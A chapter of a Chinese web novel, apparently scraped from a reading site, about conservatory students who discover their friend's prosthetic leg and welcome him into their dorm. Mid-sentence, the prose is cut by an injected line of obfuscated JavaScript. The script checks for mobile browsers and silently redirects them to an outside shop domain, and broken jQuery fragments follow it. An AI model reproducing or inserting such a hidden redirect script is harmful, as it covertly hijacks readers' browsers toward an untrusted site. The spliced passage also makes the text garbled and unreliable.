“砰。”门关上。
亲眼目睹过尸体的阮蔚吓病了,发烧烧了一夜,刚从医务室回到宿舍。
民乐院男生宿舍306乱得像鸡窝,他无精打采进门,室友一惊一乍的飞起来,到处藏锅碗瓢盆。
“是我。”阮蔚丧尸似的,没力气道。
室友们闻声松了口气。
阮蔚看一个个做贼心虚的样子,问:“宿管来过?”
“你绝对想不到刚谁来了。”二筒说。
“谁啊。”阮蔚完全丧失活力,觉得自己这辈子连尸体都近距离看过了,无人能再激起他心湖一丝波澜。
“来个仙人让我失忆,信男愿终生…一个月吃素。”
阮蔚直板板躺上床板,十分安详的在胸口画了十字:“我佛慈悲,阿门思密达。”
二筒:“古琴宗内门天骄,够不够仙。”
阮蔚像出现幻听,反应慢半拍看过来:“谁?”
“蒲玉。”
“what?!”阮蔚嘎嘣坐了起来,“他来找谁,有谁跟他很熟?”
闻是非不在,阮蔚就成了坚决反蒲玉主义接班人:“拉出去斩了,大简谱教容不得此等叛徒!”
“找你的。”二筒幽幽道,略带一丝同情的目光,“阮阮,你八成得罪他了。”
阮蔚错愕:“不可能,平时闻是非开火我只负责啦啦队,我是一只好虾米。”
“他见你不在就走了。”
二筒站起来走到门口,微抬起下巴模仿蒲玉平时的神态,清清嗓子,眼神不屑:“宿舍收拾干净。”
阮蔚莫名其妙:“?在高贵什么?”
“就是,这人又不住306,我记得他压根没住校啊,宿管上身莫名其妙。难不成一会儿国家领导人要来视察咱们宿舍啊,管这么宽。”
阮蔚纳闷了:“那他没说找我什么事?”
胡二筒一头雾水地摇摇头。
旁边一直摆沉思pose的扬琴班孟庭雨突然说:“为闻是非来的吧。”
这么一说,阮蔚和胡二筒双双恍然大悟!
“对,一定是。”
孟庭雨深沉推理:“一山不容二虎,他肯定想问你昨天的事,好抓闻是非把柄,往死里整。”
“对的。”二筒狂点头。
阮蔚也想点头,点一半停顿住了:“对的对……不对,昨天你们也看到了,为啥专找我。”
“你离得近呗。”
“你还上手摸了……”
二筒说到这里,觉得有点尴尬:“那个咳,昨天非非好像生气了。其实当时真不是故意,就是猛一下看到……吓了一跳,没反应过来啊。”
三个男生面面相觑,都从彼此脸上看到愧疚,深感良心不安。
突然,吱嘎——
推门声打破了迷之沉默的空气,说曹操曹操到,门外正是刚返校的闻是非。
半垂着眸,看不出情绪,俊俏小白脸比平时紧绷些,竟显得轮廓有锋。
宿舍内齐齐愣住,莫名有种看到蒲玉又回来了的错觉。
阮蔚手忙脚乱跳起来:“非非,你回来啦?!”
在闻是非眼里,阮蔚热情得有点刻意,阮蔚问他:“怎么找到我们宿舍的?快请进~”
闻是非没往里进,将里面每个人打量了一遍。
这个宿舍住的都是弦乐,依次是中阮班阮蔚、二胡班二筒、扬琴班孟庭雨,306是末尾房,床位还空一个。
阮蔚见闻是非不动,忙迎出来:“来来来,带你参观一下我们宿……”
“我是残疾人。”
闻是非倏地出声,硬邦邦干巴巴的。
“啊?昂。”
阮蔚挠挠头,扭头求助室友,“是是,我们……也是昨天刚知道……”
闻是非:“说完了,走了。”
刚一转身,他肩膀一沉,忽然被左右夹击,阮蔚把闻是非拖了进去:“哪里逃,关门放二筒!”
二筒:“放你爸爸。”
咚得一声,孟庭雨关门的动作行云流水。
闻是非双脚离地,整个人被腾空架起来,茫然地眨眨眼。
几分钟后。
“就是这样,本来能瞒到毕业。”闻是非余光瞥了眼大家的反应。
“那我找你舞狮你还答应!”阮蔚说。
闻是非面无表情抬眼:“讲义气的好不好。”
“……所以你不跟我们住宿舍,也是因为这个?”二筒问。
闻是非点点头。
阮蔚脸凑近想碰,不自然地问:“我能看看不?练舞狮是不是特疼。”
闻是非犹豫了一下。
想着既然说都说了,藏着掖着没意义了,他撩起裤腿露出一截义肢,几双好奇的眼睛齐刷刷落上去。
猛然,他心里涌起微妙的异样,按住裤腿往回收,又不想给看了。
阮蔚一巴掌拍了上来!
“我去,这么酷!”
“铁甲超人啊!”
阮蔚和二筒扑通一跪,视线全被吸引了。
“哎你们看过那个漫画么?世界末日之后,人类机械飞升,进行□□改装,就是穿这种金属外壳。”
“话说12月21日很快就到了啊。”二筒激动道。
闻是非:“?”
“非非,你太酷了吧,提前登上诺亚方舟。”阮蔚疯狂竖大拇指。
闻是非觉得心脏好像在冒星星,晕晕的:“你们……”
二筒一脸膜拜说:“我也想要,太帅了,好像科幻电影主角。”
闻是非不知道是不是在哄他,别扭地别开了脸,手上动作却很诚实:“……还有更帅的,这里,有个按钮。”
他伸手按去,滋滋——银色金属表面,内嵌的炫彩镭射灯带赫然亮起,跑马灯似的绕着圈闪。
“这是我爷爷特意找改装师设计的,夜光,防水,内置信息定位和报警器。”闻是非飘飘然说。
阮蔚瞠目结舌:“有钱能使磨推鬼吧。”
二筒:“那为什么不直接戴小天才夜光手表呢?”
孟庭雨白过去一眼:“……”
闻是非放回裤子,很快,保质期本就不长的气性彻底过期了,心里酸苦一扫而空。
他眨眨眼,环视这间宿舍,说出自己昨晚就做好的决定:“我今天不想回家了,和你们一起住校。”
“真的?!”
几个没心没肺的男生喜出望外,阮蔚说:“那太好了,我床分你一半。之前你一下晚课就回家,没参加过晚上的活动,尤其熄灯以后,你绝对想不到有多好玩。”
闻是非光是听着就已经期待了,无限好奇集体生活,只是……他环视四周皱了皱鼻子。
有点受不了说:“空气中有脏味道,你们多久没换窗帘了。”
突然一片死寂。
胡二筒:“窗帘还能换?”
阮蔚:“咱们有窗帘?”
孟庭雨:“说的是楼上走失的床单吧,挂一年了还没人领。”
“。”
闻是非身上莫名开始痒了,他对脏空气有点过敏。
胡二筒突然:“你怎么也露出这种看垃圾的表情!你可是我们的盟友啊。”
闻是非不明所以歪歪头。
“蒲玉刚刚就这样。”
“蒲玉?”
“你来之前他刚来过,莫名其妙让我们收拾房间。”
闻是非诡异地沉默了一下,虽然不想承认,但猜到了为什么。
他心虚傻笑,试图萌混过关:“哈哈,那人纯找茬。”
“先不管他。我跟你说,你离开学校后,发生好多事。”
随后闻是非从几个人口中得知,警方动作大张旗鼓,连夜封锁了唢呐琴房,因此学校里议论纷纷。
阮蔚是百分百相信闻是非的,他不太高兴说:“多亏了昨晚有人晒出了一篇夏诗情的日记,明眼人一看就知道怎么回事。”
闻是非几乎能想到,自己已经成了话题中心:“清者自清,等警方出通知吧。”
他问大家:“我9点20专业课去哪上?”
学校的专业课都是一对一小课,近年来民乐院生源少,琴房也少,基本上一个萝卜一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838656|211560||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个坑,这是现实问题。
孟庭雨:“昨天主任他们开会,去西洋院借调了一间钢琴房给你用。”
“……”西洋院狗都不去。
阮蔚:“其实古琴班课表跟你是岔开的,本来主任说如果你愿意,可以跟蒲……”
“汪汪。”闻是非飞快站起来:“宁做西洋狗,不为人下人,再见各位!”
看着闻是非悲壮离去的背影,阮蔚肃然起敬:“太伟大了。”
二筒默契掏出了二胡,闻是非消失在《二泉映月》的凄凉哀送中。
孟庭雨:“当代勾践,吾辈楷模。”
脚下的斑马线不同于普通人行道,而是涂装成了钢琴键的黑白排序,这是通往西洋院琴楼的必经之路。
说不别扭是装的,闻是非像个初次登月的宇航员迈出试探的脚步,一脚踏入敌军腹地。
学校没有规定中西两院不许串楼,相反还鼓励两个院能和平交流,但不知道从哪届学长学姐的恩怨开始,大家都默认了互不串楼的江湖规矩。
两个院校服制式不同,西洋乐是藏蓝小西装,民乐院是红色新中式,闻是非孤身穿越这片斑马线时,想起了夏诗情。
她很勇敢,闻是非身临其境的意识到。
不是所有人都敢顶着怪异眼光,走向未知的围墙。
一座长廊、两列铜像,近两百年的西方古典音乐史流淌过闻是非脚下,到尽头处,闻是非抬眼惊住了。
眼前称得上金碧辉煌,仿佛踏入了维也纳金色大厅,欧式宫廷的装修风格,要多夸张有多夸张。
相比起来,民乐院简直是炮轰过的贫民窟,闻是非震惊两秒后开始不爽。
“崇洋媚外。”他碎碎念。
四周气氛也安静,刚从永远高分贝的民乐院那边过来,闻是非发现,这里过于有秩序了。
每个出入的同学都穿着整洁的西装校服,身背统一黑色的琴箱,连脚步都没声。
他忍不住好奇地左顾右盼,走到一间大提琴室门边,耳朵贴在上面,鬼鬼祟祟听了一会儿。
“……”靠,学校偏心!
原来不是安静,是高级隔音棉。
闻是非不信邪地敲了敲墙面,发现墙体也是吸音材质构成,称得上寸墙寸金。
呵呵。闻是非一脸嫉妒地掏出手机,拍了一张别人琴楼的照片,发到“民族的就是世界的”6人群。
【万乐之王】[照片]
【万乐之王】告诉组织,我不回家吃饭了,永远!
【不是软妹】这哪?
【天桥艺术家】10分钟你出了趟国?
【圣音第一武神】西洋院琴楼,我好歹进去过一次。非非你已经返校了?
【守护我方小花旦】师姐专心上课。
【圣音第一武神】嗷……
这时阮蔚发来一段语音。
【不是软妹】非非你这张照片不对劲啊?
【不是软妹】我早说了民乐院有叛徒吧?!你们看那是谁!
下一秒闻是非也注意到了,方才发出的照片角落,有道一闪而过的虚化身影。
“?”
闻是非放大看,熟悉的背影映入眼帘,化成灰他都认识——没穿校服、一身素白、时刻打算羽化登仙的装逼仙人。
他忙抬头,偌大的欧式长廊,已经不见了白色踪影。
“他来干什么?”
刺探过宿舍还不够,现在又来刺探他的新教室,如果没有爷爷授意闻是非是不信的。嘴上答应的挺好,背地里没人把他当正常人看,不信任他能独立。
闻是非循着方向找过去,想揪蒲玉一个现行,让他别再替爷爷多管闲事。
“不关我事,问我干什么。我跟她很熟吗?”
“不熟?你们是合奏课老搭档,没人比你更了解夏诗情……”
隐约听到争执声,夏诗情的名字闯入耳朵,闻是非脚步赫然顿住。
“我了解的是曲风又不是人!”
一个戏谑的男声:“啧别装了,谁不知道夏诗情那点事。你们私下约排练,就没……嗯哼?”